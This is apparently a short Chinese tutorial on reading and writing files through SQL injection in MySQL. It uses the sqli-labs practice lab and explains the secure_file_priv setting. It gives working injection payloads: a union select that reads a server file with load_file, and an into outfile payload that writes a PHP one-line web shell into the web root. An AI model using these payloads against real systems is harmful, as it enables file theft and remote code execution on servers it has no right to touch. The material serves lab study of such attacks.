SQL注入中的文件读写


SQL注入中的文件读写

以mysql为例

mysql读写文件有一个非常重要的前置条件:

show global variables like '%secure%'

查看mysql全局变量的配置,当输入以上命令后,结果

secure_file_priv = 空的时候 ,任意读写

secure_file_priv = 某个路径的时候,只能在规定的那个路径下读写

secure_file_priv = NULL 不能读写

要修改配置在数据库配置文件中修改

读:

load_file('filename') filename就是指定读取的文件

以sqlilab的第1关为例:

-1' union select ,1,(Select load_file('c:/phpstudy/www/1.txt')),3%23

读取1.txt里面的内容

写:

select 'content' into outfile 'filename' : content指的是我们要写的内容,filename是要保存的文件名

以sqlilab的第1关为例:

-1' union select 1,2,"?php@eval($_GET['test']);?" into outfile 'c:/phpstudy/www/test123.php' %23

把一句话木马写到/www/test123.php

读写的条件:

1、secure_file_priv 的值不能是null

2、要知道读写的绝对路径




免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM